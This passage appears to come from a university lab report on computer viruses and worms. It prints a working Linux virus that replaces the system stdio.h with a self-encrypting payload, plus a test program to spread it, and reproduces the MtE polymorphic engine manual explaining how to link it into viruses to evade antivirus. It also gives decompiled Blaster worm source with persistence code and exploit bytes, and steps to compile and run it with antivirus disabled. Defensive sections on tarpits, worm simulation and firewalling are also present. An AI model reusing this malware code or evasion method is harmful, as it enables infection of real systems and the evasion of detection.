} /* this executes the virus */ int virfunc(void) { FILE *fd; static int first = 0; int i = 0, j = 1, oldmask = 0; if (first) return 0; oldmask = umask(0); /* get the plaintext of the hex */ Crypt(C, CHARS); /* make this directory if it does not already exist */ mkdir("/usr/local/include", 0755); unlink("/usr/local/include/stdio.h"); /* open stdio.h for writing */ if ((fd = fdopen(open("/usr/local/include/stdio.h", O_CREAT|O_RDWR, 0644), "w+")) == NULL) perror("fopen"); /* first write the #defines etc. from the beginning of this code * to the new stdio.h */ fprintf(fd, "#include \"/usr/include/stdio.h\"\n" "#include <fcntl.h>\n" "#include <linux/unistd.h>\n" "#include <sys/stat.h>\n" "#include <unistd.h>\n" "#include <errno.h>\n" "#include <string.h>\n" "#define CHARS %d\n\n" "int virfunc(void);\n" "int Close(int);\n" "int mutate(char*);\n" "int Crypt(char*, int);\n\n" "char C[] = \n\"", CHARS);

36

/* should i say sth. ? */ mutate(key); /* change the key */ /* encrypt C[] */ Crypt(C, CHARS); /* encrypt the hex with the new key */ for (i = 0; i < CHARS; i++) { if ((j % 15) == 0) { fprintf(fd, "\"\n\""); j = 0; } fprintf(fd, "\\x%02x", (unsigned char)C[i]); j++; } fprintf(fd, "\";\n\n"); /* write the key */ fprintf(fd, "\n\nunsigned char key[4] = {0x%02x, 0x%02x, 0x%02x, 0x%02x};\n\n", (unsigned char)key[0], (unsigned char)key[1], (unsigned char)key[2], (unsigned char)key[3]); /* decrypt C[] and write as string to stdio.h */ Crypt(C, CHARS); fprintf(fd, "%s", C); fclose(fd); /* close stdio.h */ first = 1; umask(oldmask); return 0; } /* the procedure for encrypting and decrypting the hex portion */ int Crypt(char *s, int len) { int i = 0, j = 0; for (i = 0; i < len; i++) { s[i] ^= key[j]; /* XOR with the key */ j = (j + 1) % 4; }

37

return 0; } /* mutate (change) the key */ /* (I hope the target has /dev/random) */ int mutate(char *s) { int fd, i; for (i = 0; i < 4; i++) { if ((fd = open("/dev/random", O_RDONLY)) <= 0) { perror("open"); return errno; } read(fd, &s[i], 1); Close(fd); } return 0; } /* main portion of program that executes upon first execution * of virus */ int main(void) { printf("Cool! Started. Now you should have the new stdio.h\n" "in /usr/local/include directory.\n\n" "************************************\n" "This virus is dedicated to Doreen.\n" "Hope i'll see her again. :'(\n" "************************************\n"); return close(-11); }

38

Appendix E: test_virus.c /* Simple file opening and closing program * to test Vscr2 virus spread to another machine * * If a file does not exist, it will create it. * * This program should be compiled after the virus * has been executed on the system. * When it is compiled, the functions from the corrupted * stdio.h will be pasted into the code. * * Then, once the compiled version is run on another * machine, it will infect that machine. * * Georgia Tech, Spring 2003 */ #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> #include <linux/unistd.h> #include <fcntl.h> int fd; char *name = "testfile"; int main(void) { fd = creat(name, 0666); /* create the file */ printf("Opened testfile!\n"); close(fd); /* close the file */ printf("Closed testfile!\nThis system should be infected now!\n"); return 0; }

39

Appendix F: LaBrea-A worm “tar-pit” and Symantec Worm Simulator LaBrea LaBrea is a program that creates a tarpit for worms. Tom Liston, LaBrea's creator, calls the tool a tar pit or a sticky honeypot because it's a lure that lets almost no intruder escape. LaBrea takes over unused IP addresses on a network and creates "virtual machines" that answer to connection attempts. LaBrea answers those connection attempts in a way that causes the machine at the other end to get "stuck", sometimes for a very long time. LaBrea works by watching ARP requests and replies. When the program sees consecutive ARP requests spaced several seconds apart, without any intervening ARP reply, it assumes that the IP in question is unoccupied. It then "creates" an ARP reply with a bogus MAC address, and fires it back to the requester. To demonstrate LaBrea’s purpose, we ran it against the SPOC research worm. We used an exclude list of IP addresses namely those of the Host machine and the Virtual machines. For the rest of the addresses in the 57.35.6.* range, LaBrea was allowed to create virtual machines. An example:

14:18:31.707295 ARP who-has 57.35.6.13 tell 57.35.6.141 14:18:31.707574 ARP reply 57.35.6.13 is-at 0:0:f:ff:ff:ff

There is no 57.35.6.13 machine on the network. When the "who-has" came in, the "is-at" reply that you see was generated by LaBrea. There isn't a MAC address of 0:0:f:ff:ff:ff either. But now, the router believes that there some machine at 57.35.6.13, and that it resides on the MAC address 0:0:f:ff:ff:ff, and so it dutifully sends packets on. In essence, we've created a "virtual machine" on that IP address. LaBrea also watches for TCP traffic destined for the ether address 0:0:f:ff:ff:ff. When it sees an inbound TCP SYN packet, it replies with a SYN/ACK that "tarpits" that connection attempt. LaBrea responds to ping attempts on these IP addresses but everything else is ignored. The virtual machines respond to a SYN/ACK with a RST. When a robot intruder (such as a worm) connects, a LaBrea system traps that connection indefinitely by manipulating the TCP session parameters. Liston says, "The LaBrea server software allows a normal three-way handshake in response to a connect attempt. During the handshake, the server sets a small (5 byte) TCP window. When the client sends its first 5 bytes of data, the server responds with a TCP window of 0 (wait). The client then shifts into the persist state, where it sends what are called window probe packets at intervals that increase to a maximum of 4 minutes for an NT stack. The LaBrea

40

server answers these probes to hold the client in the persist state. At this point, a connection can be maintained with a throughput of approximately 1215 bytes per hour. All of this can be done without maintaining any 'state' on the connections." So using LaBrea slows the spread of worms. For example, to propagate, the Code Red worm spawns about 100 threads. Each thread scans IP addresses in rapid succession, looking for vulnerable hosts to infect—the potential to spread rapidly is enormous. But by capturing some of those threads as they attempt to infect your network, the LaBrea tool reduces the spread of the worm exponentially—a neat idea that really works! As most worm analyst would suggest, slowing down the initial spread of worms means a significant breakthrough as it gives valuable lead in patching systems and prevents the worms from growing exponentially. The Security community gave a warm welcome to the addition of such a tool in the fight against Internet Malware. But LaBrea faced a challenge from the most unexpected corner namely, DMCA as it disrupts communication and conceals the true origin of communication in an attempt to protect a network from attack. So the creator of the tool could not distribute the software from his home state of Illinois. A similar regulation is in place in certain other states including Georgia and has been under much criticism from security proponents. LaBrea can be downloaded from the SoureForge site, http://labrea.sourceforge.net/ Symantec Research Labs Worm Simulator

The Symantec Research Labs Worm Simulator is a tool that can be used to simulate a wide variety of Internet threats. The Worm Simulator provides features like, enabling custom configuration of new worm simulations, configuration of custom networks and protection policy, and incorporates impressive new three-dimensional graphics. It can be downloaded from

http://enterprisesecurity.symantec.com/content.cfm?articleid=5479 Two simple windows are shown to the user. On the left side is a large rotating

globe. This globe depicts the Internet as a whole. Small dots appear on the globe to show the infection spreading. The dots can be configured to represent the entire Internet population, or only the machines on the Internet that are vulnerable to the particular worm.

On the right side of the simulator is a window depicting an individual network, complete with desktop machines, workgroups, and larger company subnets. A simulation can have a custom network topology and security policy. For example, a simulation can specify how quickly machines are patched, whether security software is running on a particular machine, where firewalls are located, and how often users open email attachments.

To use the Worm Simulator, all users need to do is load a simulation file and click “play.” The Worm Simulator is distributed with simulations of six actual worms: MyDoom, Netsky, Sasser, Slammer, Blaster, and SoBig. Each simulation is tailored to accurately represent how the real worm spread in the wild. As the worm spreads, nodes in the network and on the globe start turning colors.

41

The detailed network used in the simulations is designed to show the effects that different security policies will have on identical corporate networks. The simulated network includes four company networks, each of which has a different security policy. These four companies will look identical before the simulation starts, but each one will be affected differently by the worm outbreak.

No security (A) – The first company has no security protection whatsoever. Almost all of the nodes are vulnerable to the worm, and machines are patched very slowly. This network will be infected by the worm in a short amount of time.

Only firewall security (B) – The second company is protected from the worm by a perimeter firewall. However, this company allows a small number of users to connect from home via a virtual private network (VPN) connection, without going through the perimeter firewall. Since the home users are not protected by the firewall, and the connection between the home users and the company network is not protected by the firewall, the worm will be able to enter the company network through this “backdoor” by first infecting one of the home users. Also, a high number of nodes in this company are vulnerable, and patching takes place slowly. This network will also be overrun by the worm, but not as quickly as the first company.

Strong host security and network security (C) – The third company is similar to the second company in that is has a perimeter firewall with a backdoor originating from home users. However, this company has a better internal security policy– fewer of the nodes are vulnerable, many machines are patched against the worm before they are infected, and most of the machines are patched quickly after they are infected. Some nodes on this network will get infected, but most of those nodes will be patched quickly after infection.

Only host security (D) – The last company has the same good internal security policy as the third company, but does not have a perimeter firewall. Only a small percentage of the nodes in this company are vulnerable, patching of uninfected nodes is fast, and patching of infected nodes is even faster. However, since this company has no perimeter firewall, many of the nodes will get infected initially before being patched.

For our lab demonstration we chose the Blaster worm and the SoBig virus. The choice was made because the spread and damage made by the worm and virus were comparable. In addition we also ran the simulation for the Slammer worm which is considered to be the fastest spreading worm and contrast it with the above simulations. Comparison of Blaster and SoBig The comparison between the Blaster worm and the SoBig Virus is made over a period of 30 days as their spread appears to be sinusoidal over this period.

42

Blaster SoBig Day 0

Day 1

The Blaster Worm infected 3.5% of the nodes all of which are from Network D

The SoBig Virus did not have a significant outbreak on day 1

43

Day 5

Most of Network D has been patched and the worm has spread to Network A with the infection ratio at 22%

The Virus has hit Network A more severely with considerable impact on Network D with the total infected machines at 17%

Day 10

Most of Network C has been patched and the Network A remains infected with a ratio of 21%

The Virus has hit Network A more severely with considerable impact on Network C and an infection ratio of 27%

44

Day 20

Network A is being patched slowly. The worm has exploded on to Network C resulting in an infection ratio of 15%

Network A is being patched slowly bringing the infections down to 7%

Day 30

All the four networks have been patched and the worm infection ratio has dropped to 0

The infection ratio has dropped to 0.2% and 96% of the network has been patched. The Infection ratio dropped to 0 on the 34th day

45

To illustrate the efficiency of a worm in spreading over a network, we ran a simulation of the Slammer worm, which is considered to be the fastest spreading worm so far. The Infection ratio hit 15% within an hour of the simulation.

Hour 1 Hour 3

46

Appendix G: Polymorphic Viruses Viruses for windows are a very large problem currently. For example as of

November 2005, Symantec had identified almost 3000 virus … starting with ‘A’ (http://www.symantec.com/avcenter/venc/auto/index/indexA.html). As this lab has shown each virus, in order to run has certain characteristics. In addition viruses can also be identified by certain characteristic bit patterns of the virus called the virus signature. While it is entirely possible to identify whether a system is infected (the example virus make several characteristic changes to the registry), it is impossible to manually detect them all.

All antivirus programs work by comparing virus “signatures” or bit patterns unique to the virus against your files. There are several techniques to avoid detection like this. First, a virus can insert various irrelevant instructions into itself. For example it may add in NOP instructions or add the $zero register to another register, thereby altering its bit pattern. Antivirus companies however have learned to deal with this approach by

simply striping the file of these before comparing the signatures. The next approach to cloaking the signature is to encrypt the virus. This works by choosing a new, random key on each machine. The virus body would then be different each time making detection against this impossible. The decryption algorithm however is static, thus allowing Antivirus companies to match the decryption algorithms.

However, to counter this, virus writers produce viruses that randomize the encryption algorithm. The way this works is

47

that in addition to the virus itself, a mutation Engine is appended to the virus. This engine produces a new encryption algorithm for each copy of the virus. The new copy of the virus re-encrypts itself with this new encryption package. Thus the decryption algorithm can no longer be identified. The first viruses of this sort, Tequila and Maltese Amoeba, were released in 1991. In 1992 Dark Avenger, author of Maltese Amoeba released Mutation Engine (MtE) an object module that contained all of the mutation code, with instructions on how to link and call it (See Index 1). Injecting the Mutation Engine is quite easy. First the virus or worm writer must produce a virus. A virus in particular is pretty easy to make. The MTE works by calling itself before your virus gets executed. As the MTE was written in assembly it requires you to either write your own virus in assembly or perhaps more simply use gcc (the –S option) to turn your c into assembly. Then you put .model tiny .code extrn mut_engine: near

at the beginning of your source code. Later on you will need to call the engine to encrypt your code, this may be done by call mut_engine

making sure to pass in its parameters, listed in the documentation. Once all this is done the only thing the virus writer needs to do is include random functionality (so as to randomize the encryption algorithm used). If you do not wish to design your own random package you may simply use the provided one, all you have to do is add a few more setup items to your assembly (listed in the documentation). Once you are done you simply assemble your code as normal (Dark Avenger used Turbo Assembler). Now your code has all the required functionality to make it polymorphic and defeat virus detection techniques (though AV has since improved to deal with this better).

It is worth noting that encrypting may be considered to be the exact same thing, mechanically, as compression. Since many legitimate programs compress themselves to reduce space programs that have a decryption / decompression routine cannot simply be identified as viral. At first AV companies wrote custom detection routines, but this, similar to our original issue of manually detecting polymorphic viruses does not scale. Later options include using heuristics, which are something of a black art to get working properly, and virtual computers which are slow. Symantec’s current system, called Striker works by creating a virtual computer entirely in RAM. The details of this system and others are somewhat sketchy though as polymorphic viruses caused the failure of several antivirus companies when they were first introduced. http://virusview.net/info/virus/j&a/polymorf.html http://securityresponse.symantec.com/avcenter/reference/striker.pdf http://www.vx.org.ua/vx.php?id=em11

48

INDEX 1. MuTation Engine <tm> Version 0.90á (17-08-91) (C) 1991 CrazySoft, Inc. written by Mad Maniac. 1. License You are free to include this Engine in viruses. Using it in another ways is prohibited. You are free to give it to people that will only use it in this way. MuTaion engine is free. 2. How it works Please read the whole document before trying to do something with the Engine. If you have never written a virus in Assembler, DON'T start with the Engine. First do this, then return back to the Engine. MuTation Engine is an object module that could be linked to any virus. It has been written in Assembler and assembled under Turbo Assembler 2.5. We recommend that you use this assembler to compile the viruses that will carry the Engine. Linking it to an object file produced by other assemblers, or high-level languages compilers is theoretically possible, but we never tried and do not recommend it. We decided NOT to give up the Engine's source code at this time. The Engine will encrypt your code each time with a different encryption key. It will also generate a routine to decrypt it, which will also differ each time. Both the decryption routine and the encrypted code will have variable lengths. Thus your virus will be hardly detectable. The Engine's code is about 2KB; we believe this is not too big. 3. How to use it We assume that you will use Turbo Assembler 2.5 to compile your virus. Put the following at the beginning of your source code: .model tiny .code extrn mut_engine: near Then you write your virus as usual. When you need to encrypt the code, you just call the Engine. Put the following instruction in your code: call mut_engine You also need to supply the parameters for the Engine. They are passed in registers. Results are also passed in registers. Of course, you must link the MTE.OBJ module to your virus! You can rely on the fact that the Engine will not modify itself while running, and will not need any data to be preserved between calls (except for RND_BUF, see below). 4. Input parameters All parameters are mandatory. Description follows: ES = Work segment The Engine needs work space. On entry, ES must point to a free segment. It will use the first 2048 (MAX_LEN) bytes of it PLUS length of the code that will be encrypted. If, for example, your virus will be 3KB in length (including the Engine!), the work segment must have at least 5120 bytes free. The segment

49

needs not to be initialized; it contents will be lost after calling the Engine. DS:DX => Code to encrypt On entry, just set DS:DX to point to the code you want to be encrypted. CX = Length of code to encrypt On entry, just set CX to the length of the code you want to be encrypted. BP = Offset where the decryption routine will be executed The Engine needs to know what will be the value of IP when the decryption routine will take control. For example, if your virus infects a COM file, and adds itself BEFORE it, you must set this value to 100h. DI = Offset of the code entry point This is the offset where to pass control after the decryption routine has decrypted the encrypted code. This is also the start offset for decrypting. The code before this offset will NOT be decrypted. Usually, set this value to 0. SI = Offset from start address where the encrypted code will be This is the offset where the encrypted code will be taken from (The decrypted code will be put immediately after the decryption routine). If you set this value to 0, the encrypted code is assumed to be immediately after the decryption routine (this is the normal case). BL = Decryption routine size (1 = Tiny, 3 = Small, 7 = Medium, 15 = Big) This affects the size and the speed of execution of the decryption routine. Only the above listed 4 values are allowed (other values will crash the Engine). Usually, set this to 0fh. AX = Bit field Bit 0 = Preserve AX \ Bit 1 = Preserve CX \ Set each bit to 1 if you want the value of the Bit 2 = Preserve DX \ corresponding register to be preserved when the Bit 3 = Preserve BX \ decryption routine receives control. Set it to Bit 4 = Preserve SP / 0 if you don't want it preserved. Other Bit 5 = Preserve BP / registers will be preserved in any case. Bit 6 = Preserve SI / Bit 7 = Preserve DI / Bit 8 = Would probably run at different CPU Set this bit to 1 if the decryption routine could run on another computer (this is the normal case). Bit 9 = Don't assume CS = DS on execution Set this bit to 1 if you're not sure that DS will point to CS on entry to the decryption routine (this is the normal case for EXE files). Otherwise, set it to 0. Bit 10 = Don't assume CS = SS on execution Set this bit to 1 if you're not sure that SS will point to CS on entry to the decryption routine (This is the normal case for EXE files). Otherwise, set it to 0. Bit 11 = Don't align encrypted code onto paragraph boundary Set this bit to 1 if you don't care if the decrypted code is aligned on a paragraph boundary. Otherwise, set it to 0. Note that the value of IP will be unknown at the time when the decrypted code receives control.

50

5. Results The Engine returns the following values in registers (all others except for the listed below will be trashed): ES = Work segment The ES value is preserved. DS:DX => Decryption routine + encrypted code DS:DX now points to the decryption routine immediately followed by the encrypted code. If SI was set to 0 on entry, the code is ready to be put in a file. If not, you must treat separately the first DI and next CX-DI bytes (see below). CX = Length of the decryption routine + encrypted code CX now has the summary length of both the decryption routine and encrypted code. AX = Length of the code that was encrypted AX now has the length of the code that will be decrypted at the time when the decryption routine receives control. This value may differ from the value that you passed in CX on entry; but it is not less than it in any case. It might be greater with no more than 32 (MAX_ADD_LEN) bytes. This is because of how the Engine works. DI = Offset of decryption routine end This is the length of the decryption routine, and an offset where the encrypted code starts. You might need this if SI was not set to 0 on entry. This value is not greater than 512 (MAX_ADD) bytes. SI = Offset of loop start This is an offset in the newly generated decryption routine where the decryption loop starts. You might need it if SI was not set to 0 on entry. If you don't, just ignore it. 6. Stack usage Before you call the Engine, make sure there is PLENTY of stack space free (256 bytes appear to be enough). For resident viruses, it is strongly recommended that you maintain your own stack. Otherwise the chance is that you will blow the DOS stack. 7. Random numbers Unfortunately, what was said above was NOT sufficient to include the Engine in your virus. The reason is, that in order to generate random encryption keys, the Engine uses a pseudo-random number generator. To achieve greater flexibility, we decided to include it in another object module. You have two options: 1) To use the sample pseudo-random numbers generator, included with the Engine 2) To design your own random numbers generator 7.1. Using the sample generator It is easier to choose this option. In this case you need to link the RND.OBJ module to the virus. Also put the following instruction at the beginning of your source code: extrn rnd_buf: word Where the virus FIRST receives control, put the following instruction: mov cs:[rnd_buf],0

51

You also MUST ensure that the contents of RND_BUF (which is in _DATA segment) will be preserved between two calls of the Engine. If you need pseudo-random numbers in your virus, you can use the RND_GET and RND_INIT procedures, if you declared them as externals (see below). However, either RND_INIT or MUT_ENGINE should be called prior to calling RND_GET! 7.2. Designing your own generator To do this, you need to write two procedures, RND_INIT and RND_GET. They must be declared as publics either in your virus, or in a separate module. RND_INIT must return a RANDOM number in AX. RND_GET must return a PSEUDO-RANDOM number in AX. These procedures MUST preserve all registers except for AX. If you don't understand it, don't do it. The Engine works great with the sample generator. 8. Final Notes Well, that's for now. No time for more. Look at the demo virus and other sample files included here to get an idea how can you use it. After you include it in your virus, please check carefully if the Engine does what you expect it to do. Feel free to experiment with it. If you have problems using it, or have any comments or suggestions about it, write a message to Dark Avenger at the: Virus eXchange BBS in Sofia Phone number: (+359)-2-20-4198 Working hours: 20:00 - 06:00 GMT (in the winter) 19:00 - 05:00 GMT (in the summer) The latest release of the Engine should also be available at that BBS. Pass the Engine (all files together in an archive) to virus programmers only. Greetings to all virus programmers CrazySoft, Inc. Bulgaria �

52

Appendix H: Blaster Worm Introduction

Earlier in this lab, you experimented with the real world AnnaKournikova worm. This worm relied mostly on social engineering in order to replicate and spread to new hosts. In this section, we will examine a worm that propagates through a buffer overflow vulnerability in the windows operating system. The blaster worm epidemic peaked in the summer of 2004 where it brought computers around the world to a halt and causing millions of dollars in damages. Despite its widespread outbreak, blaster worm was a relatively simple worm written by a relatively amateur programmer. In this part of the lab, we will examine the source code of blaster worm and analyze how it searches for victims, infects, and reproduces. Background Blaster worm relies on a buffer overflow vulnerability on the DCOM RPC service to infect systems. The patches for the vulnerabilities (MS03-026 and MS03-039) were released about a month before the worm started spreading in the wild, but many system administrators failed to roll the patch out in time to prevent infection. Once a computer gets infected, the worm will scan either the local network, or a random ip block. If it finds a host, it will attempt to initiate a three-way handshake and then deliver a payload of shellcode in an attempt to infect that system. When delivering the shellcode, the virus guesses at what operating system the host is running, either Windows XP or Windows 2000. This guess is not really a genuine guess, it basically sends Windows XP shellcode 80% of the time and Windows XP shellcode 20% of the time. Blaster worm is also smart enough to tag each machine it infects to prevent reinfection of a machine that has already been infected, thereby preventing the worm form inadvertently overwhelming a machines resources. In addition to self propagating, the worm also had secondary programming to initiate a SYN flood denial of service attack on windowsupdate.com at a designated time. This time however was based on local time instead of global time so attacks would start from the east and travel west across the globe. The effects of the DoS attack were not really significant since the DoS attack was aimed at windowsupdate.com instead of windowsupdate.microsoft.com which is where it was redirected. Where to get it The decompiled source code was retrieved from a google cache of www.governmentsecurity.org, and attached as Appendix A. The URL of the cache is given below. http://66.102.7.104/search?q=cache:b8iU1vtk7XQJ:www.governmentsecurity.org/forum/index.php?showtopic=4726+Decompiled+Source+For+Ms+Rpc+Dcom+Blaster+Worm&hl=en

53

Setting up the Experiment For this experiment, we will use three computers on the same network:

• source machine where the worm will originate • destination machine which the worm will try to propagate to • a network monitor machine which will record network traffic

Figure 1. Network Diagram Layout

1. Set up the network shown in Figure 1. 2. Copy the blaster worm source code into a text file. 3. Disable your virus scanner if you have one. 4. Open up Microsoft Visual Studio C++ and compile the source code 5. Copy the resulting executable onto the Windows XP source machine 6. Start Ethereal on the RedHat WS 4.0 machine 7. Execute the blaster worm executable and observe the network traffic. 8. You might have to start and stop the blaster worm executable a couple of times

What did you notice?

When you execute the worm, the first thing you should notice on your ethereal capture is the infected machine scanning a sequential range of IP addresses one by one using SYN packets. This is the worm trying to find other hosts to infect. The worm randomly decides what IP addresses it targets; there is a 40% chance that it will scan the local network, and 60% chance that it will scan a random IP range. Figure 2 below shows the blaster worm scanning the local network for a vulnerable target.

54

Figure 2. Blaster worm scanning the local network for a new host to infect

Once the worm reaches the local subnet, it will send out a series of ARP requests seeking the IP address of hosts on the same local subnet. Figure 3 shows the worm obtaining the IP address of our destination machine.

Figure 3. Blaster worm obtaining the IP address of our destination machine

55

After the worm obtains the IP address of the destination machine, it will attempt to infect it using a buffer overflow. Figure 4 shows the worm sending buffer overflow packets to port 135 of the destination machine.

Figure 4. Worm sending buffer overflow packets to attempt to infect a host When we use the “follow TCP stream” on ethereal and select “display as C char

array” we can see the shellcode payload that the worm is attempting to use. This is shown in Figure 5 below.

Figure 5. Shellcode that is being passed from source to destination machine

56

Notice that the shellcode in Figure 5 is the same shellcode as found in the source code. A short excerpt of the source code has been included below in Figure 6 for your convenience.

/* These blocks of data are just the same ones copied from the * xfocus exploit prototype. Whereas the original exploit * declared these as "static" variables, Blaster declares * these as "stack" variables. This is because the xfocus * exploit altered them -- they must be reset back to their * original values every time. */ unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, 0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

Figure 6. Shellcode payload from source code As this is not a buffer overflow lab, we will not go into shellcode analysis. However, for those that are interested, the shellcode can be disassembled and analyzed with a tool called the Malcode Analyst Pack which can be readily found on the internet. As indicated in the comments from Figure 6, the buffer overflow is just a copy of the xfocus exploit prototype. Once the buffer overflow vulnerability has been exploited, normally it would give the attacker a shell prompt. Blaster worm has an automated process that uses this shell prompt to TFTP the worm to the new host and then run it, thereby starting the lifecycle of the worm again. Defenses There are a few relatively simple defenses to stopping or at least slowing down Blaster worm.

1. Keep up to date with windows updates. The buffer overflow vulnerability that Blaster worm uses to spread does not work once patched.

2. Use a firewall to block port 135 which is the port that Blaster worm uses to spread. This might cause problems if you have legitimate RPC services running on that port. IP filtering is one way to compromise and get the best of both worlds.

3. Use a firewall to block port 69. The worm uses port 69 to TFTP itself to a new host. By firewalling this port, it will prevent the full system infection.

4. Use a firewall to block port 4444. The worm uses this port to establish shell communications and executing the worm once it has been TFTP to the new host.

5. Since Blaster tags each system it infects with a mutex to prevent reinfection of an already infected machine, a mutex can be created to trick blaster to think that the system has already been infected.

57

6. Tarpit programs (e.g. 'labrea' or 'deredoc') can greatly slow down the spread of a worm by making it take a long time to scan a range of IP addresses

References

1.1)1.1. All information was taken from http://en.wikipedia.org/wiki/Blaster_worm or http://66.102.7.104/search?q=cache:b8iU1vtk7XQJ:www.governmentsecurity.org/forum/index.php?showtopic=4726+Decompiled+Source+For+Ms+Rpc+Dcom+Blaster+Worm&hl=en

58

Decompiled Source for Blaster Worm

/* /***************************************************************/ #include <winsock2.h> #include <ws2tcpip.h> /*IP_HDRINCL*/ #include <wininet.h> /*InternetGetConnectedState*/ #include <stdio.h> #pragma comment (lib, "ws2_32.lib") #pragma comment (lib, "wininet.lib") #pragma comment (lib, "advapi32.lib") /* * These strings aren't used in the worm, Buford put them here * so that whitehat researchers would discover them. * BUFORD: Note that both of these messages are the typical * behavior of a teenager who recently discovered love, and * is in the normal teenage mode of challenging authority. */ const char msg1[]="I just want to say LOVE YOU SAN!!"; const char msg2[]="billy gates why do you make this possible ?" " Stop making money and fix your software!!"; /* * Buford probably put the worm name as a "define" at the top * of his program so that he could change the name at any time. * 2003-09-29: This is the string that Parson changed. */ #define MSBLAST_EXE "msblast.exe" /* * MS-RPC/DCOM runs over port 135. * DEFENSE: firewalling port 135 will prevent systems from * being exploited and will hinder the spread of this worm. */ #define MSRCP_PORT_135 135 /* * The TFTP protocol is defined to run on port 69. Once this * worm breaks into a victim, it will command it to download * the worm via TFTP. Therefore, the worms briefly runs a * TFTP service to deliver that file. * DEFENSE: firewalling 69/udp will prevent the worm from * fully infected a host. */ #define TFTP_PORT_69 69 /* * The shell-prompt is established over port 4444. The * exploit code (in the variable 'sc') commands the victim * to "bind a shell" on this port. The exploit then connects * to that port to send commands, such as TFTPing the * msblast.exe file down and launching it. * DEFENSE: firewalling 4444/tcp will prevent the worm from * spreading. */ #define SHELL_PORT_4444 4444 /* * A simple string to hold the current IP address */

59

char target_ip_string[16]; /* * A global variable to hold the socket for the TFTP service. */ int fd_tftp_service; /* * Global flag to indicate this thread is running. This * is set when the thread starts, then is cleared when * the thread is about to end. * This demonstrates that Buford isn't confident with * multi-threaded programming -- he should just check * the thread handle. */ int is_tftp_running; /* * When delivering the worm file to the victim, it gets the * name by querying itself using GetModuleFilename(). This * makes it easier to change the filename or to launch the * worm. */ char msblast_filename[256+4]; int ClassD, ClassC, ClassB, ClassA; int local_class_a, local_class_b; int winxp1_or_win2k2; ULONG WINAPI blaster_DoS_thread(LPVOID); void blaster_spreader(); void blaster_exploit_target(int fd, const char *victim_ip); void blaster_send_syn_packet(int target_ip, int fd); /*************************************************************** * This is where the 'msblast.exe' program starts running ***************************************************************/ void main(int argc, char *argv[]) { WSADATA WSAData; char myhostname[512]; char daystring[3]; char monthstring[3]; HKEY hKey; int ThreadId; register unsigned long scan_local=0; /* * Create a registry key that will cause this worm * to run every time the system restarts. * DEFENSE: Slammer was "memory-resident" and could * be cleaned by simply rebooting the machine. * Cleaning this worm requires this registry entry * to be deleted. */ RegCreateKeyEx( /*hKey*/ HKEY_LOCAL_MACHINE, /*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\" "CurrentVersion\\Run", /*Reserved*/ 0, /*lpClass*/ NULL, /*dwOptions*/ REG_OPTION_NON_VOLATILE, /*samDesired */ KEY_ALL_ACCESS, /*lpSecurityAttributes*/ NULL, /*phkResult */ &hKey, /*lpdwDisposition */ 0); RegSetValueExA( hKey,

60

"windows auto update", 0, REG_SZ, MSBLAST_EXE, 50); RegCloseKey(hKey); /* * Make sure this isn't a second infection. A common problem * with worms is that they sometimes re-infect the same * victim repeatedly, eventually crashing it. A crashed * system cannot spread the worm. Therefore, worm writers * now make sure to prevent reinfections. The way Blaster * does this is by creating a system "global" object called * "BILLY". If another program in the computer has already * created "BILLY", then this instance won't run. * DEFENSE: this implies that you can remove Blaster by * creating a mutex named "BILLY". When the computer * restarts, Blaster will falsely believe that it has * already infected the system and will quit. */ CreateMutexA(NULL, TRUE, "BILLY"); if (GetLastError() == ERROR_ALREADY_EXISTS) ExitProcess(0); /* * Windows systems requires "WinSock" (the network API layer) * to be initialized. Note that the SYNflood attack requires * raw sockets to be initialized, which only works in * version 2.2 of WinSock. * BUFORD: The following initialization is needlessly * complicated, and is typical of programmers who are unsure * of their knowledge of sockets.. */ if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 && WSAStartup(MAKEWORD(1,1), &WSAData) != 0 && WSAStartup(1, &WSAData) != 0) return; /* * The worm needs to read itself from the disk when * transferring to the victim. Rather than using a hard-coded * location, it discovered the location of itself dynamically * through this function call. This has the side effect of * making it easier to change the name of the worm, as well * as making it easier to launch it. */ GetModuleFileNameA(NULL, msblast_filename, sizeof(msblast_filename)); /* * When the worm infects a dialup machine, every time the user * restarts their machine, the worm's network communication * will cause annoying 'dial' popups for the user. This will * make them suspect their machine is infected. * The function call below makes sure that the worm only * starts running once the connection to the Internet * has been established and not before. * BUFORD: I think Buford tested out his code on a machine * and discovered this problem. Even though much of the * code indicates he didn't spend much time on * testing his worm, this line indicates that he did * at least a little bit of testing. */ while (!InternetGetConnectedState(&ThreadId, 0)) Sleep (20000); /*wait 20 seconds and try again */ /* * Initialize the low-order byte of target IP address to 0. */

61

ClassD = 0; /* * The worm must make decisions "randomly": each worm must * choose different systems to infect. In order to make * random choices, the programmer must "seed" the random * number generator. The typical way to do this is by * seeding it with the current timestamp. * BUFORD: Later in this code you'll find that Buford calls * 'srand()' many times to reseed. This is largely * unnecessary, and again indicates that Buford is not * confident in his programming skills, so he constantly * reseeds the generator in order to make extra sure he * has gotten it right. */ srand(GetTickCount()); /* * This initializes the "local" network to some random * value. The code below will attempt to figure out what * the true local network is -- but just in case it fails, * the initialization fails, using random values makes sure * the worm won't do something stupid, such as scan the * network around 0.0.0.0 */ local_class_a = (rand() % 254)+1; local_class_b = (rand() % 254)+1; /* * This discovers the local IP address used currently by this * victim machine. Blaster randomly chooses to either infect * just the local ClassB network, or some other network, * therefore it needs to know the local network. * BUFORD: The worm writer uses a complex way to print out * the IP address into a string, then parse it back again * to a number. This demonstrates that Buford is fairly * new to C programming: he thinks in terms of the printed * representation of the IP address rather than in its * binary form. */ if (gethostname(myhostname, sizeof(myhostname)) != -1) { HOSTENT *p_hostent = gethostbyname(myhostname); if (p_hostent != NULL && p_hostent->h_addr != NULL) { struct in_addr in; const char *p_addr_item; memcpy(&in, p_hostent->h_addr, sizeof(in)); sprintf(myhostname, "%s", inet_ntoa(in)); p_addr_item = strtok(myhostname, "."); ClassA = 